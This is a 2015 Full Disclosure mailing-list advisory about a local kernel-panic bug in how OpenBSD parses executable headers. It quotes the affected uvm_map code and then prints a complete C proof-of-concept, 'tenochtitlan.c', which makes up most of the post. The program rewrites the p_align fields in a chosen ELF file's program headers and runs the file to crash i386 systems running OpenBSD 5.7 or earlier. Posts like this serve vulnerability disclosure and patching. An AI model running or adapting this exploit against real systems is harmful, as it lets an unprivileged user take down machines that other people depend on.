Date: Sat, 13 Jun 2015 17:02:18 -0700
From: Bruno Luiz <brunolcr@...oo.com.br>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] OpenBSD "sys_execve()" Executable Header Parsing Denial of
	Service Vulnerability

Impact

A non-privileged use could cause a local Denial-of-Service (DoS) condition by triggering a kernel panic through a malformed ELF
executable.

The kernel panic is reached at the UVM (virtual memory) subsystem. There are different if-else validations inside uvm_map(),and
uvm_map_vmspace_update() is called in the last else block as follows:

sys/uvm/uvm_map.c:
 if (flags & UVM_FLAG_FIXED) {
 ...
 } else if (*addr != 0 && (*addr & PAGE_MASK) == 0 &&
 (map->flags & VM_MAP_ISVMSPACE) == VM_MAP_ISVMSPACE &&
 (align == 0 || (*addr & (align - 1)) == 0) &&
 uvm_map_isavail(map, NULL, &first, &last, *addr, sz)) {
 /*
 * Address used as hint.
 *
 * Note: we enforce the alignment restriction,
 * but ignore pmap_prefer.
*/
 } else if ((maxprot & VM_PROT_EXECUTE) != 0 &&
 ...
 } else {
 /*
 * Update freelists from vmspace.
*/
 if (map->flags & VM_MAP_ISVMSPACE)
 uvm_map_vmspace_update(map, &dead, flags);


Exploit


/*
* tenochtitlan.c
*
* OpenBSD <= 5.7 Local Kernel Panic
* by d4t (@brunolcr)
*
* This PoC works only for i386.
*
*
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/types.h>
#ifndef __OpenBSD__
 #error "Not an OpenBSD system !!!1111";
#else
#include <sys/exec_elf.h>
#endif
#ifndef __i386__
 #error "Not an i386 system !!!1111";
#endif
// In Aztec mythology, Huitzilopochtli, was a god of war, a sun god,
// the patron of the city of Tenochtitlan, the Capital of the Aztec Empire.
const char pyramid[] =
" _____\n"
" _|[]_|_\n"
" _/_/=|_\\_\\_\n"
" _/_ /==| _\\ _\\_\n"
" _/__ /===|_ _\\ __\\_\n"
" _/_ _ /====| ___\\ __\\_\n"
" _/ __ _/=====|_ ___\\ ___ \\_\n"
" _/ ___ _/======| ____ \\_ __ \\_\n";
struct {
 unsigned int idx;
 Elf32_Word p_align;
} targets[] = {
 { 6, 0xb16b00b5 }, // ( * )( * )
 { 6, 0xdeadface },
 { 4, 0x00001001 },
 { 0, 0x00000004 }
};
int main(int argc, char **argv)
{
 Elf32_Ehdr *hdr;
 Elf32_Phdr *pht; // Program Header Table
 struct stat statinfo;
 char *elfptr;
 int fd, r;
 if(argc < 2){
 fprintf(stderr, "Usage: %s <elf_executable>\n", argv[0]);
 exit(-1);
 }
 if((fd = open(argv[1], O_RDWR)) == -1){
 perror("open");
 exit(-1);
 }
 if(fstat(fd, &statinfo) == -1){
 perror("stat");
 close(fd);
 exit(-1);
 }
 if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) ==
MAP_FAILED){
 perror("mmap");
 close(fd);
 exit(-1);
 }
 hdr = (Elf32_Ehdr *) (elfptr);
 pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff);
 printf("[*] hdr->e_phoff:\t0x%.4x\n", hdr->e_phoff);
 printf("[*] hdr->e_phnum:\t0x%.4x\n", hdr->e_phnum);
 srand(time(NULL));
 r = rand();
 if(r % 3 == 0){
#ifdef OpenBSD5_5
 pht[targets[0].idx].p_align = targets[0].p_align;
 printf("[*] PHT[%d].p_align = 0x%x\n", targets[0].idx, pht[targets[0].idx].p_align);
#else // OpenBSD 5.2 didn't panic with 0xb16b00b5 in the last LOAD's p_align
 pht[targets[1].idx].p_align = targets[1].p_align;
 printf("[*] PHT[%d].p_align = 0x%x\n", targets[1].idx, pht[targets[1].idx].p_align);
#endif
 } else if(r % 3 == 1){
 pht[targets[2].idx].p_align = targets[2].p_align;
 printf("[*] PHT[%d].p_align = 0x%x\n", targets[2].idx, pht[targets[2].idx].p_align);
 } else {
 int p;
 for(p = 0; p < hdr->e_phnum; p++, pht++)
 if(pht->p_type == PT_LOAD){
 pht->p_align = targets[3].p_align;
 printf("[*] PHT[%d].p_align = 0x%x\n", p, pht->p_align);
 }
 }
 // Synchronize the ELF in memory and the file system
 if(msync(elfptr, 0, MS_ASYNC) == -1){
 perror("msync");
 close(fd);
 exit(-1);
 }
 if(munmap(elfptr, statinfo.st_size) == -1){
 perror("munmap");
 close(fd);
 exit(-1);
 }
 close(fd);
 printf("%s", pyramid);
 sleep(1);
 system(argv[1]);
 // Should never reach this point, however sometimes the OS didn't crash with
 // system() until the 2nd execution. Same behavior with execl and execv too.
 printf("... try to execute %s manually.\n", argv[1]);
 return -1;
}


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists